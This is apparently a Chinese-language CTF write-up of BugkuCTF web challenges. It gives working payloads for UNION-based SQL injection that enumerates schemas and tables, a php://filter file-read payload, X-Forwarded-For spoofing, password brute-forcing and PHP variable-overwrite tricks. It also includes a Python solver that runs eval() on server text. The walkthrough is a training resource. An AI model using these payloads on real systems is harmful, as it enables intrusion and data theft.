BugkuCTF web(一)
web基础_GET
1、get传参。
web基础_POST
1、post传参。
web2
1、F12看源码,在html注释发现flag。
计算器
1、表单字数限制,F12看源码,修改maxlength。
你必须让他停下
1、bp抓包,不断发包,多试几次,一共有15张jpg。
矛盾
1、num等于1又不是数字,payload:?num=1a。
变量1(代码审计)
1、
代码审计:内层if要求GET所传的参数$args
要出现数字或字母;输出$$args
变量。
这里要知道1个知识点:php中的预定义变量中有个$GLOBALS
,$GLOBALS
包含了在当前脚本中已经定义的所有变量,变量名就是这个数组的键名。
根据第一行提示,flag在变量里,可用超全局变量GLOBALS
引用可变变量$$args
,payload:?args=GLOBALS,既满足参数是字母,又能输出$$args
。
备份是个好习惯
1、访问index.php.bak
2、
payload:?kkeyey1=s878926199a&kkeyey2=s155964671a。
web3
1、F12查看源码,在注释发现unicode编码。
头等舱
1、用bp抓包。
web4
1、F12看源码,url解码。
管理员系统
1、F12看源码,在注释有b64,解码后应该是密码。
2、用bp抓包,伪造本地ip:X-Forwarded-For:127.0.0.1。
网站被黑
1、用御剑扫描
2、用bp爆破密码,从列表中添加->密码。
域名解析
1、这题域名和ip都是在公网上的,修改hosts本地文件:C:\Windows\System32\drivers\etc\hosts。
web5
1、把()[]!+编码复制到控制台。
flag在index里(文件包含)
1、
2、把file内容转成base64:payload:?file=php://filter/read=convert.base64-encode/resource=index.php。
参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
输入密码查看flag
1、提示了5位数字的密码,就打开bp爆破。
成绩单(sql注入-联合查询)
1、依次输入1,2,3,返回龙龙龙、浩儿、静静的成绩,源码没发现东西
2、1' # 正常,是龙龙龙的成绩单
1' order by 3# 正常
1' order by 4# 正常
1' order by 5# 无回显
所以,就是4个字段
3、爆库名:
' union select 1,1,1,table_schema from information_schema.tables #
只爆出information_schema这么一个库名,就是chinese里只能显示一个库名,学到了,mysql里的group_concat()聚集函数能将同一个分组的值连接起来,只返回一个字符串
' union select 1,1,1,group_concat(distinct table_schema) from information_schema.tables #
' union select 1,1,1,group_concat(distinct table_name) from information_schema.tables where table_schema='skctf_flag' #
得到2个表:fl4g,sc,有用的肯定是fl4g
5、查所有字段名:
' union select 1,1,1,group_concat(distinct column_name) from information_schema.columns where table_name='fl4g' #
得到字段名和库名是一样的
6、最后,
' union select 1,1,1,group_concat(skctf_flag) from skctf_flag.fl4g #
秋名山老司机(快速反弹post请求)
让我们用2s计算这么长的值。。。
刷新页面后,表达式的值会变化:
就是用加减乘运算一个长的表达式
多刷新2次:
提示我们 用post传递表达式的值给服务器,这种只能写python解:
import requests
import re
url = "http://123.206.87.240:8002/qiumingshan/"
s = requests.Session()#保持客户端与服务器之间的回话
r = s.get(url)
expression = re.search(r'(\d+[\+\-\*])+(\d+)', r.text).group()#用正则表达式提出要计算的表达式
expr_value = eval(expression)#计算表达式的值
data = {'value': expr_value}
print(s.post(url,data).text)#发送post请求
(:表示一个子表达式的开始
\d:表示匹配数字
+:表示匹配重复1次或更多次
\d+:表示匹配1个或更多连续的数字
):表示一个子表达式的介绍
re.search方法中的group():返回匹配的整个表达式的字符串
eval():返回字符串表达式的值
解题参考:https://blog.csdn.net/qq_26090065/article/details/81583009
web8
题目
题目描述: txt????
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
解法
和extract变量覆盖有点不一样
根据题目,txt确定是存在
payload:?ac=flags&fn=flag.txt